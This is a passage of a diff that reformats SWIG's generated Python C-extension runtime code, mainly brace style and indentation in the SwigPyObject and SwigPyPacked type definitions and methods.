PyTuple_New(1); + if (args) { + PyObject *val = SwigPyObject_long(v); + if (val) { + PyObject *ofmt; + PyTuple_SET_ITEM(args, 0, val); + ofmt = SWIG_Python_str_FromChar(fmt); + if (ofmt) { #if PY_VERSION_HEX >= 0x03000000 - res = PyUnicode_Format(ofmt,args); + res = PyUnicode_Format(ofmt, args); #else - res = PyString_Format(ofmt,args); + res = PyString_Format(ofmt, args); #endif - Py_DECREF(ofmt); - } + Py_DECREF(ofmt); + } + } + Py_DECREF(args); } - Py_DECREF(args); - } - return res; + return res; } SWIGRUNTIME PyObject * -SwigPyObject_oct(SwigPyObject *v) -{ - return SwigPyObject_format("%o",v); +SwigPyObject_oct(SwigPyObject *v) { + return SwigPyObject_format("%o", v); } SWIGRUNTIME PyObject * -SwigPyObject_hex(SwigPyObject *v) -{ - return SwigPyObject_format("%x",v); +SwigPyObject_hex(SwigPyObject *v) { + return SwigPyObject_format("%x", v); } SWIGRUNTIME PyObject * -SwigPyObject_repr(SwigPyObject *v) -{ - const char *name = SWIG_TypePrettyName(v->ty); - PyObject *repr = SWIG_Python_str_FromFormat("", (name ? name : "unknown"), (void *)v); - if (repr && v->next) { - PyObject *nrep = SwigPyObject_repr((SwigPyObject *)v->next); - if (nrep) { +SwigPyObject_repr(SwigPyObject *v) { + const char *name = SWIG_TypePrettyName(v->ty); + PyObject *repr = SWIG_Python_str_FromFormat("", (name ? name : "unknown"), (void *)v); + if (repr && v->next) { + PyObject *nrep = SwigPyObject_repr((SwigPyObject *)v->next); + if (nrep) { # if PY_VERSION_HEX >= 0x03000000 - PyObject *joined = PyUnicode_Concat(repr, nrep); - Py_DecRef(repr); - Py_DecRef(nrep); - repr = joined; + PyObject *joined = PyUnicode_Concat(repr, nrep); + Py_DecRef(repr); + Py_DecRef(nrep); + repr = joined; # else - PyString_ConcatAndDel(&repr,nrep); + PyString_ConcatAndDel(&repr, nrep); # endif - } else { - Py_DecRef(repr); - repr = NULL; + } else { + Py_DecRef(repr); + repr = NULL; + } } - } - return repr; + return repr; } /* We need a version taking two PyObject* parameters so it's a valid * PyCFunction to use in swigobject_methods[]. */ SWIGRUNTIME PyObject * -SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) -{ - return SwigPyObject_repr((SwigPyObject*)v); +SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { + return SwigPyObject_repr((SwigPyObject *)v); } SWIGRUNTIME int -SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w) -{ - void *i = v->ptr; - void *j = w->ptr; - return (i < j) ? -1 : ((i > j) ? 1 : 0); +SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w) { + void *i = v->ptr; + void *j = w->ptr; + return (i < j) ? -1 : ((i > j) ? 1 : 0); } /* Added for Python 3.x, would it also be useful for Python 2.x? */ -SWIGRUNTIME PyObject* -SwigPyObject_richcompare(SwigPyObject *v, SwigPyObject *w, int op) -{ - PyObject* res = NULL; - if (!PyErr_Occurred()) { - if (op != Py_EQ && op != Py_NE) { - Py_INCREF(Py_NotImplemented); - return Py_NotImplemented; +SWIGRUNTIME PyObject * +SwigPyObject_richcompare(SwigPyObject *v, SwigPyObject *w, int op) { + PyObject *res = NULL; + if (!PyErr_Occurred()) { + if (op != Py_EQ && op != Py_NE) { + Py_INCREF(Py_NotImplemented); + return Py_NotImplemented; + } + res = PyBool_FromLong((SwigPyObject_compare(v, w) == 0) == (op == Py_EQ) ? 1 : 0); } - res = PyBool_FromLong( (SwigPyObject_compare(v, w)==0) == (op == Py_EQ) ? 1 : 0); - } - return res; + return res; } -SWIGRUNTIME PyTypeObject* SwigPyObject_TypeOnce(void); +SWIGRUNTIME PyTypeObject *SwigPyObject_TypeOnce(void); #ifdef SWIGPYTHON_BUILTIN static swig_type_info *SwigPyObject_stype = 0; -SWIGRUNTIME PyTypeObject* +SWIGRUNTIME PyTypeObject * SwigPyObject_type(void) { SwigPyClientData *cd; assert(SwigPyObject_stype); - cd = (SwigPyClientData*) SwigPyObject_stype->clientdata; + cd = (SwigPyClientData *) SwigPyObject_stype->clientdata; assert(cd); assert(cd->pytype); return cd->pytype; } #else -SWIGRUNTIME PyTypeObject* +SWIGRUNTIME PyTypeObject * SwigPyObject_type(void) { - static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyObject_TypeOnce(); - return type; + static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyObject_TypeOnce(); + return type; } #endif SWIGRUNTIMEINLINE int SwigPyObject_Check(PyObject *op) { - PyTypeObject *target_tp = SwigPyObject_type(); - PyTypeObject *op_type = Py_TYPE(op); + PyTypeObject *target_tp = SwigPyObject_type(); + PyTypeObject *op_type = Py_TYPE(op); #ifdef SWIGPYTHON_BUILTIN - if (PyType_IsSubtype(op_type, target_tp)) - return 1; - return (strcmp(op_type->tp_name, "SwigPyObject") == 0); + if (PyType_IsSubtype(op_type, target_tp)) + return 1; + return (strcmp(op_type->tp_name, "SwigPyObject") == 0); #else - if (op_type == target_tp) - return 1; + if (op_type == target_tp) + return 1; # ifdef Py_LIMITED_API - int cmp; - PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); - if (!tp_name) - return 0; - cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyObject"); - Py_DECREF(tp_name); - return cmp == 0; + int cmp; + PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); + if (!tp_name) + return 0; + cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyObject"); + Py_DECREF(tp_name); + return cmp == 0; # else - return (strcmp(op_type->tp_name, "SwigPyObject") == 0); + return (strcmp(op_type->tp_name, "SwigPyObject") == 0); # endif #endif } @@ -1876,320 +1856,313 @@ SwigPyObject_Check(PyObject *op) { SWIGRUNTIME PyObject * SwigPyObject_New(void *ptr, swig_type_info *ty, int own); -static PyObject* Swig_Capsule_global = NULL; +static PyObject *Swig_Capsule_global = NULL; SWIGRUNTIME void -SwigPyObject_dealloc(PyObject *v) -{ - SwigPyObject *sobj = (SwigPyObject *) v; - PyObject *next = sobj->next; - if (sobj->own == SWIG_POINTER_OWN) { - swig_type_info *ty = sobj->ty; - SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; - PyObject *destroy = data ? data->destroy : 0; - if (destroy) { - /* destroy is always a VARARGS method */ - PyObject *res; +SwigPyObject_dealloc(PyObject *v) { + SwigPyObject *sobj = (SwigPyObject *) v; + PyObject *next = sobj->next; + if (sobj->own == SWIG_POINTER_OWN) { + swig_type_info *ty = sobj->ty; + SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; + PyObject *destroy = data ? data->destroy : 0; + if (destroy) { + /* destroy is always a VARARGS method */ + PyObject *res; - /* PyObject_CallFunction() has the potential to silently drop - the active exception. In cases of unnamed temporary - variable or where we just finished iterating over a generator - StopIteration will be active right now, and this needs to - remain true upon return from SwigPyObject_dealloc. So save - and restore. */ - - PyObject *type = NULL, *value = NULL, *traceback = NULL; - PyErr_Fetch(&type, &value, &traceback); + /* PyObject_CallFunction() has the potential to silently drop + the active exception. In cases of unnamed temporary + variable or where we just finished iterating over a generator + StopIteration will be active right now, and this needs to + remain true upon return from SwigPyObject_dealloc. So save + and restore. */ - if (data->delargs) { - /* we need to create a temporary object to carry the destroy operation */ - PyObject *tmp = SwigPyObject_New(sobj->ptr, ty, 0); - if (tmp) { - res = SWIG_Python_CallFunctor(destroy, tmp); - } else { - res = 0; + PyObject *type = NULL, *value = NULL, *traceback = NULL; + PyErr_Fetch(&type, &value, &traceback); + + if (data->delargs) { + /* we need to create a temporary object to carry the destroy operation */ + PyObject *tmp = SwigPyObject_New(sobj->ptr, ty, 0); + if (tmp) { + res = SWIG_Python_CallFunctor(destroy, tmp); + } else { + res = 0; + } + Py_XDECREF(tmp); + } else { + PyCFunction meth = PyCFunction_GET_FUNCTION(destroy); + PyObject *mself = PyCFunction_GET_SELF(destroy); + res = ((*meth)(mself, v)); + } + if (!res) + PyErr_WriteUnraisable(destroy); + + PyErr_Restore(type, value, traceback); + + Py_XDECREF(res); } - Py_XDECREF(tmp); - } else { - PyCFunction meth = PyCFunction_GET_FUNCTION(destroy); - PyObject *mself = PyCFunction_GET_SELF(destroy); - res = ((*meth)(mself, v)); - } - if (!res) - PyErr_WriteUnraisable(destroy); - - PyErr_Restore(type, value, traceback); - - Py_XDECREF(res); - } #if !defined(SWIG_PYTHON_SILENT_MEMLEAK) - else { - const char *name = SWIG_TypePrettyName(ty); - printf("swig/python detected a memory leak of type '%s', no destructor found.\n", (name ? name : "unknown")); + else { + const char *name = SWIG_TypePrettyName(ty); + printf("swig/python detected a memory leak of type '%s', no destructor found.\n", (name ? name : "unknown")); + } +#endif + Py_XDECREF(Swig_Capsule_global); } -#endif - Py_XDECREF(Swig_Capsule_global); - } - Py_XDECREF(next); + Py_XDECREF(next); #ifdef SWIGPYTHON_BUILTIN - Py_XDECREF(sobj->dict); + Py_XDECREF(sobj->dict); #endif - PyObject_DEL(v); + PyObject_DEL(v); } -SWIGRUNTIME PyObject* -SwigPyObject_append(PyObject* v, PyObject* next) -{ - SwigPyObject *sobj = (SwigPyObject *) v; - if (!SwigPyObject_Check(next)) { - PyErr_SetString(PyExc_TypeError, "Attempt to append a non SwigPyObject"); - return NULL; - } - ((SwigPyObject *)next)->next = sobj->next; - sobj->next = next; - Py_INCREF(next); - return SWIG_Py_Void(); -} - -SWIGRUNTIME PyObject* -SwigPyObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) -{ - SwigPyObject *sobj = (SwigPyObject *) v; - if (sobj->next) { - Py_INCREF(sobj->next); - return sobj->next; - } else { +SWIGRUNTIME PyObject * +SwigPyObject_append(PyObject *v, PyObject *next) { + SwigPyObject *sobj = (SwigPyObject *) v; + if (!SwigPyObject_Check(next)) { + PyErr_SetString(PyExc_TypeError, "Attempt to append a non SwigPyObject"); + return NULL; + } + ((SwigPyObject *)next)->next = sobj->next; + sobj->next = next; + Py_INCREF(next); return SWIG_Py_Void(); - } } -SWIGINTERN PyObject* -SwigPyObject_disown(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) -{ - SwigPyObject *sobj = (SwigPyObject *)v; - sobj->own = 0; - return SWIG_Py_Void(); +SWIGRUNTIME PyObject * +SwigPyObject_next(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { + SwigPyObject *sobj = (SwigPyObject *) v; + if (sobj->next) { + Py_INCREF(sobj->next); + return sobj->next; + } else { + return SWIG_Py_Void(); + } } -SWIGINTERN PyObject* -SwigPyObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args)) -{ - SwigPyObject *sobj = (SwigPyObject *)v; - sobj->own = SWIG_POINTER_OWN; - return SWIG_Py_Void(); -} - -SWIGINTERN PyObject* -SwigPyObject_own(PyObject *v, PyObject *args) -{ - PyObject *val = 0; - if (!PyArg_UnpackTuple(args, "own", 0, 1, &val)) { - return NULL; - } else { +SWIGINTERN PyObject * +SwigPyObject_disown(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { SwigPyObject *sobj = (SwigPyObject *)v; - PyObject *obj = PyBool_FromLong(sobj->own); - if (val) { - if (PyObject_IsTrue(val)) { - Py_DECREF(SwigPyObject_acquire(v,args)); - } else { - Py_DECREF(SwigPyObject_disown(v,args)); - } - } - return obj; - } + sobj->own = 0; + return SWIG_Py_Void(); +} + +SWIGINTERN PyObject * +SwigPyObject_acquire(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { + SwigPyObject *sobj = (SwigPyObject *)v; + sobj->own = SWIG_POINTER_OWN; + return SWIG_Py_Void(); +} + +SWIGINTERN PyObject * +SwigPyObject_own(PyObject *v, PyObject *args) { + PyObject *val = 0; + if (!PyArg_UnpackTuple(args, "own", 0, 1, &val)) { + return NULL; + } else { + SwigPyObject *sobj = (SwigPyObject *)v; + PyObject *obj = PyBool_FromLong(sobj->own); + if (val) { + if (PyObject_IsTrue(val)) { + Py_DECREF(SwigPyObject_acquire(v, args)); + } else { + Py_DECREF(SwigPyObject_disown(v, args)); + } + } + return obj; + } } static PyMethodDef swigobject_methods[] = { - {"disown", SwigPyObject_disown, METH_NOARGS, "releases ownership of the pointer"}, - {"acquire", SwigPyObject_acquire, METH_NOARGS, "acquires ownership of the pointer"}, - {"own", SwigPyObject_own, METH_VARARGS, "returns/sets ownership of the pointer"}, - {"append", SwigPyObject_append, METH_O, "appends another 'this' object"}, - {"next", SwigPyObject_next, METH_NOARGS, "returns the next 'this' object"}, - {"__repr__",SwigPyObject_repr2, METH_NOARGS, "returns object representation"}, - {0, 0, 0, 0} + {"disown", SwigPyObject_disown, METH_NOARGS, "releases ownership of the pointer"}, + {"acquire", SwigPyObject_acquire, METH_NOARGS, "acquires ownership of the pointer"}, + {"own", SwigPyObject_own, METH_VARARGS, "returns/sets ownership of the pointer"}, + {"append", SwigPyObject_append, METH_O, "appends another 'this' object"}, + {"next", SwigPyObject_next, METH_NOARGS, "returns the next 'this' object"}, + {"__repr__", SwigPyObject_repr2, METH_NOARGS, "returns object representation"}, + {0, 0, 0, 0} }; -SWIGRUNTIME PyTypeObject* +SWIGRUNTIME PyTypeObject * SwigPyObject_TypeOnce(void) { - static char swigobject_doc[] = "Swig object carries a C/C++ instance pointer"; + static char swigobject_doc[] = "Swig object carries a C/C++ instance pointer"; #ifndef Py_LIMITED_API - static PyNumberMethods SwigPyObject_as_number = { - (binaryfunc)0, /*nb_add*/ - (binaryfunc)0, /*nb_subtract*/ - (binaryfunc)0, /*nb_multiply*/ - /* nb_divide removed in Python 3 */ + static PyNumberMethods SwigPyObject_as_number = { + (binaryfunc)0, /*nb_add*/ + (binaryfunc)0, /*nb_subtract*/ + (binaryfunc)0, /*nb_multiply*/ + /* nb_divide removed in Python 3 */ #if PY_VERSION_HEX < 0x03000000 - (binaryfunc)0, /*nb_divide*/ + (binaryfunc)0, /*nb_divide*/ #endif - (binaryfunc)0, /*nb_remainder*/ - (binaryfunc)0, /*nb_divmod*/ - (ternaryfunc)0,/*nb_power*/ - (unaryfunc)0, /*nb_negative*/ - (unaryfunc)0, /*nb_positive*/ - (unaryfunc)0, /*nb_absolute*/ - (inquiry)0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ + (binaryfunc)0, /*nb_remainder*/ + (binaryfunc)0, /*nb_divmod*/ + (ternaryfunc)0,/*nb_power*/ + (unaryfunc)0, /*nb_negative*/ + (unaryfunc)0, /*nb_positive*/ + (unaryfunc)0, /*nb_absolute*/ + (inquiry)0, /*nb_nonzero*/ + 0, /*nb_invert*/ + 0, /*nb_lshift*/ + 0, /*nb_rshift*/ + 0, /*nb_and*/ + 0, /*nb_xor*/ + 0, /*nb_or*/ #if PY_VERSION_HEX < 0x03000000 - 0, /*nb_coerce*/ + 0, /*nb_coerce*/ #endif - (unaryfunc)SwigPyObject_long, /*nb_int*/ + (unaryfunc)SwigPyObject_long, /*nb_int*/ #if PY_VERSION_HEX < 0x03000000 - (unaryfunc)SwigPyObject_long, /*nb_long*/ + (unaryfunc)SwigPyObject_long, /*nb_long*/ #else - 0, /*nb_reserved*/ + 0, /*nb_reserved*/ #endif - (unaryfunc)0, /*nb_float*/ + (unaryfunc)0, /*nb_float*/ #if PY_VERSION_HEX < 0x03000000 - (unaryfunc)SwigPyObject_oct, /*nb_oct*/ - (unaryfunc)SwigPyObject_hex, /*nb_hex*/ + (unaryfunc)SwigPyObject_oct, /*nb_oct*/ + (unaryfunc)SwigPyObject_hex, /*nb_hex*/ #endif #if PY_VERSION_HEX >= 0x03050000 /* 3.5 */ - 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_inplace_matrix_multiply */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* nb_inplace_add -> nb_inplace_matrix_multiply */ #elif PY_VERSION_HEX >= 0x03000000 /* 3.0 */ - 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index, nb_inplace_divide removed */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* nb_inplace_add -> nb_index, nb_inplace_divide removed */ #else - 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 /* nb_inplace_add -> nb_index */ -#endif - }; - - static PyTypeObject swigpyobject_type; - static int type_init = 0; - if (!type_init) { - const PyTypeObject tmp = { -#if PY_VERSION_HEX >= 0x03000000 - PyVarObject_HEAD_INIT(NULL, 0) -#else - PyObject_HEAD_INIT(NULL) - 0, /* ob_size */ -#endif - "SwigPyObject", /* tp_name */ - sizeof(SwigPyObject), /* tp_basicsize */ - 0, /* tp_itemsize */ - (destructor)SwigPyObject_dealloc, /* tp_dealloc */ -#if PY_VERSION_HEX < 0x030800b4 - (printfunc)0, /*tp_print*/ -#else - (Py_ssize_t)0, /*tp_vectorcall_offset*/ -#endif - (getattrfunc)0, /* tp_getattr */ - (setattrfunc)0, /* tp_setattr */ -#if PY_VERSION_HEX >= 0x03000000 - 0, /* tp_reserved in 3.0.1, tp_compare in 3.0.0 but not used */ -#else - (cmpfunc)SwigPyObject_compare, /* tp_compare */ -#endif - (reprfunc)SwigPyObject_repr, /* tp_repr */ - &SwigPyObject_as_number, /* tp_as_number */ - 0, /* tp_as_sequence */ - 0, /* tp_as_mapping */ - (hashfunc)0, /* tp_hash */ - (ternaryfunc)0, /* tp_call */ - 0, /* tp_str */ - PyObject_GenericGetAttr, /* tp_getattro */ - 0, /* tp_setattro */ - 0, /* tp_as_buffer */ - Py_TPFLAGS_DEFAULT, /* tp_flags */ - swigobject_doc, /* tp_doc */ - 0, /* tp_traverse */ - 0, /* tp_clear */ - (richcmpfunc)SwigPyObject_richcompare,/* tp_richcompare */ - 0, /* tp_weaklistoffset */ - 0, /* tp_iter */ - 0, /* tp_iternext */ - swigobject_methods, /* tp_methods */ - 0, /* tp_members */ - 0, /* tp_getset */ - 0, /* tp_base */ - 0, /* tp_dict */ - 0, /* tp_descr_get */ - 0, /* tp_descr_set */ - 0, /* tp_dictoffset */ - 0, /* tp_init */ - 0, /* tp_alloc */ - 0, /* tp_new */ - 0, /* tp_free */ - 0, /* tp_is_gc */ - 0, /* tp_bases */ - 0, /* tp_mro */ - 0, /* tp_cache */ - 0, /* tp_subclasses */ - 0, /* tp_weaklist */ - 0, /* tp_del */ - 0, /* tp_version_tag */ -#if PY_VERSION_HEX >= 0x03040000 - 0, /* tp_finalize */ -#endif -#if PY_VERSION_HEX >= 0x03080000 - 0, /* tp_vectorcall */ -#endif -#if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) - 0, /* tp_print */ -#endif -#if PY_VERSION_HEX >= 0x030C0000 - 0, /* tp_watched */ -#endif -#ifdef COUNT_ALLOCS - 0, /* tp_allocs */ - 0, /* tp_frees */ - 0, /* tp_maxalloc */ - 0, /* tp_prev */ - 0 /* tp_next */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* nb_inplace_add -> nb_index */ #endif }; - swigpyobject_type = tmp; - type_init = 1; - if (PyType_Ready(&swigpyobject_type) != 0) - return NULL; - } - return &swigpyobject_type; + + static PyTypeObject swigpyobject_type; + static int type_init = 0; + if (!type_init) { + const PyTypeObject tmp = { +#if PY_VERSION_HEX >= 0x03000000 + PyVarObject_HEAD_INIT(NULL, 0) #else - PyType_Slot slots[] = { - { Py_tp_dealloc, (void *)SwigPyObject_dealloc }, - { Py_tp_repr, (void *)SwigPyObject_repr }, - { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, - { Py_tp_doc, (void *)swigobject_doc }, - { Py_tp_richcompare, (void *)SwigPyObject_richcompare }, - { Py_tp_methods, (void *)swigobject_methods }, - { Py_nb_int, (void *)SwigPyObject_long }, - { 0, NULL } - }; - PyType_Spec spec = { - "SwigPyObject", - sizeof(SwigPyObject), - 0, - Py_TPFLAGS_DEFAULT, - slots - }; - return (PyTypeObject *)PyType_FromSpec(&spec); + PyObject_HEAD_INIT(NULL) + 0, /* ob_size */ +#endif + "SwigPyObject", /* tp_name */ + sizeof(SwigPyObject), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor)SwigPyObject_dealloc, /* tp_dealloc */ +#if PY_VERSION_HEX < 0x030800b4 + (printfunc)0, /*tp_print*/ +#else + (Py_ssize_t)0, /*tp_vectorcall_offset*/ +#endif + (getattrfunc)0, /* tp_getattr */ + (setattrfunc)0, /* tp_setattr */ +#if PY_VERSION_HEX >= 0x03000000 + 0, /* tp_reserved in 3.0.1, tp_compare in 3.0.0 but not used */ +#else + (cmpfunc)SwigPyObject_compare, /* tp_compare */ +#endif + (reprfunc)SwigPyObject_repr, /* tp_repr */ + &SwigPyObject_as_number, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + (hashfunc)0, /* tp_hash */ + (ternaryfunc)0, /* tp_call */ + 0, /* tp_str */ + PyObject_GenericGetAttr, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + Py_TPFLAGS_DEFAULT, /* tp_flags */ + swigobject_doc, /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + (richcmpfunc)SwigPyObject_richcompare,/* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0, /* tp_iter */ + 0, /* tp_iternext */ + swigobject_methods, /* tp_methods */ + 0, /* tp_members */ + 0, /* tp_getset */ + 0, /* tp_base */ + 0, /* tp_dict */ + 0, /* tp_descr_get */ + 0, /* tp_descr_set */ + 0, /* tp_dictoffset */ + 0, /* tp_init */ + 0, /* tp_alloc */ + 0, /* tp_new */ + 0, /* tp_free */ + 0, /* tp_is_gc */ + 0, /* tp_bases */ + 0, /* tp_mro */ + 0, /* tp_cache */ + 0, /* tp_subclasses */ + 0, /* tp_weaklist */ + 0, /* tp_del */ + 0, /* tp_version_tag */ +#if PY_VERSION_HEX >= 0x03040000 + 0, /* tp_finalize */ +#endif +#if PY_VERSION_HEX >= 0x03080000 + 0, /* tp_vectorcall */ +#endif +#if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) + 0, /* tp_print */ +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, /* tp_watched */ +#endif +#ifdef COUNT_ALLOCS + 0, /* tp_allocs */ + 0, /* tp_frees */ + 0, /* tp_maxalloc */ + 0, /* tp_prev */ + 0 /* tp_next */ +#endif + }; + swigpyobject_type = tmp; + type_init = 1; + if (PyType_Ready(&swigpyobject_type) != 0) + return NULL; + } + return &swigpyobject_type; +#else + PyType_Slot slots[] = { + { Py_tp_dealloc, (void *)SwigPyObject_dealloc }, + { Py_tp_repr, (void *)SwigPyObject_repr }, + { Py_tp_getattro, (void *)PyObject_GenericGetAttr }, + { Py_tp_doc, (void *)swigobject_doc }, + { Py_tp_richcompare, (void *)SwigPyObject_richcompare }, + { Py_tp_methods, (void *)swigobject_methods }, + { Py_nb_int, (void *)SwigPyObject_long }, + { 0, NULL } + }; + PyType_Spec spec = { + "SwigPyObject", + sizeof(SwigPyObject), + 0, + Py_TPFLAGS_DEFAULT, + slots + }; + return (PyTypeObject *)PyType_FromSpec(&spec); #endif } SWIGRUNTIME PyObject * -SwigPyObject_New(void *ptr, swig_type_info *ty, int own) -{ - SwigPyObject *sobj = PyObject_New(SwigPyObject, SwigPyObject_type()); - if (sobj) { - sobj->ptr = ptr; - sobj->ty = ty; - sobj->own = own; - sobj->next = 0; +SwigPyObject_New(void *ptr, swig_type_info *ty, int own) { + SwigPyObject *sobj = PyObject_New(SwigPyObject, SwigPyObject_type()); + if (sobj) { + sobj->ptr = ptr; + sobj->ty = ty; + sobj->own = own; + sobj->next = 0; #ifdef SWIGPYTHON_BUILTIN - sobj->dict = 0; + sobj->dict = 0; #endif - if (own == SWIG_POINTER_OWN) { - /* Obtain a reference to the Python capsule wrapping the module information, so that the - * module information is correctly destroyed after all SWIG python objects have been freed - * by the GC (and corresponding destructors invoked) */ - Py_XINCREF(Swig_Capsule_global); + if (own == SWIG_POINTER_OWN) { + /* Obtain a reference to the Python capsule wrapping the module information, so that the + * module information is correctly destroyed after all SWIG python objects have been freed + * by the GC (and corresponding destructors invoked) */ + Py_XINCREF(Swig_Capsule_global); + } } - } - return (PyObject *)sobj; + return (PyObject *)sobj; } /* ----------------------------------------------------------------------------- @@ -2197,223 +2170,217 @@ SwigPyObject_New(void *ptr, swig_type_info *ty, int own) * ----------------------------------------------------------------------------- */ typedef struct { - PyObject_HEAD - void *pack; - swig_type_info *ty; - size_t size; + PyObject_HEAD + void *pack; + swig_type_info *ty; + size_t size; } SwigPyPacked; SWIGRUNTIME PyObject * -SwigPyPacked_repr(SwigPyPacked *v) -{ - char result[SWIG_BUFFER_SIZE]; - if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { - return SWIG_Python_str_FromFormat("", result, v->ty->name); - } else { - return SWIG_Python_str_FromFormat("", v->ty->name); - } +SwigPyPacked_repr(SwigPyPacked *v) { + char result[SWIG_BUFFER_SIZE]; + if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { + return SWIG_Python_str_FromFormat("", result, v->ty->name); + } else { + return SWIG_Python_str_FromFormat("", v->ty->name); + } } SWIGRUNTIME PyObject * -SwigPyPacked_str(SwigPyPacked *v) -{ - char result[SWIG_BUFFER_SIZE]; - if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))){ - return SWIG_Python_str_FromFormat("%s%s", result, v->ty->name); - } else { - return SWIG_Python_str_FromChar(v->ty->name); - } +SwigPyPacked_str(SwigPyPacked *v) { + char result[SWIG_BUFFER_SIZE]; + if (SWIG_PackDataName(result, v->pack, v->size, 0, sizeof(result))) { + return SWIG_Python_str_FromFormat("%s%s", result, v->ty->name); + } else { + return SWIG_Python_str_FromChar(v->ty->name); + } } SWIGRUNTIME int -SwigPyPacked_compare(SwigPyPacked *v, SwigPyPacked *w) -{ - size_t i = v->size; - size_t j = w->size; - int s = (i < j) ? -1 : ((i > j) ? 1 : 0); - return s ? s : strncmp((const char *)v->pack, (const char *)w->pack, 2*v->size); +SwigPyPacked_compare(SwigPyPacked *v, SwigPyPacked *w) { + size_t i = v->size; + size_t j = w->size; + int s = (i < j) ? -1 : ((i > j) ? 1 : 0); + return s ? s : strncmp((const char *)v->pack, (const char *)w->pack, 2 * v->size); } -SWIGRUNTIME PyTypeObject* SwigPyPacked_TypeOnce(void); +SWIGRUNTIME PyTypeObject *SwigPyPacked_TypeOnce(void); -SWIGRUNTIME PyTypeObject* +SWIGRUNTIME PyTypeObject * SwigPyPacked_type(void) { - static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyPacked_TypeOnce(); - return type; + static PyTypeObject *SWIG_STATIC_POINTER(type) = SwigPyPacked_TypeOnce(); + return type; } SWIGRUNTIMEINLINE int SwigPyPacked_Check(PyObject *op) { - PyTypeObject* op_type = Py_TYPE(op); - if (op_type == SwigPyPacked_TypeOnce()) - return 1; + PyTypeObject *op_type = Py_TYPE(op); + if (op_type == SwigPyPacked_TypeOnce()) + return 1; #ifdef Py_LIMITED_API - int cmp; - PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); - if (!tp_name) - return 0; - cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyPacked"); - Py_DECREF(tp_name); - return cmp == 0; + int cmp; + PyObject *tp_name = PyObject_GetAttrString((PyObject *)op_type, "__name__"); + if (!tp_name) + return 0; + cmp = PyUnicode_CompareWithASCIIString(tp_name, "SwigPyPacked"); + Py_DECREF(tp_name); + return cmp == 0; #else - return (strcmp(op_type->tp_name, "SwigPyPacked") == 0); + return (strcmp(op_type->tp_name, "SwigPyPacked") == 0); #endif } SWIGRUNTIME void -SwigPyPacked_dealloc(PyObject *v) -{ - if (SwigPyPacked_Check(v)) { - SwigPyPacked *sobj = (SwigPyPacked *) v; - free(sobj->pack); - } - PyObject_DEL(v); +SwigPyPacked_dealloc(PyObject *v) { + if (SwigPyPacked_Check(v)) { + SwigPyPacked *sobj = (SwigPyPacked *) v; + free(sobj->pack); + } + PyObject_DEL(v); } -SWIGRUNTIME PyTypeObject* +SWIGRUNTIME PyTypeObject * SwigPyPacked_TypeOnce(void) { - static char swigpacked_doc[] = "Swig object carries a C/C++ instance pointer"; + static char swigpacked_doc[] = "Swig object carries a C/C++ instance pointer"; #ifndef Py_LIMITED_API - static PyTypeObject swigpypacked_type; - static int type_init = 0; - if (!type_init) { - const PyTypeObject tmp = { + static PyTypeObject swigpypacked_type; + static int type_init = 0; + if (!type_init) { + const PyTypeObject tmp = { #if PY_VERSION_HEX>=0x03000000 - PyVarObject_HEAD_INIT(NULL, 0) + PyVarObject_HEAD_INIT(NULL, 0) #else - PyObject_HEAD_INIT(NULL) - 0, /* ob_size */ + PyObject_HEAD_INIT(NULL) + 0, /* ob_size */ #endif - "SwigPyPacked", /* tp_name */ - sizeof(SwigPyPacked), /* tp_basicsize */ - 0, /* tp_itemsize */ - (destructor)SwigPyPacked_dealloc, /* tp_dealloc */ + "SwigPyPacked", /* tp_name */ + sizeof(SwigPyPacked), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor)SwigPyPacked_dealloc, /* tp_dealloc */ #if PY_VERSION_HEX < 0x030800b4 - (printfunc)0, /*tp_print*/ + (printfunc)0, /*tp_print*/ #else - (Py_ssize_t)0, /*tp_vectorcall_offset*/ + (Py_ssize_t)0, /*tp_vectorcall_offset*/ #endif - 